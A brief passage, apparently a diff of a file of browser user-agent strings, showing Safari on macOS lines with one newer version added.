Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 \ No newline at end of file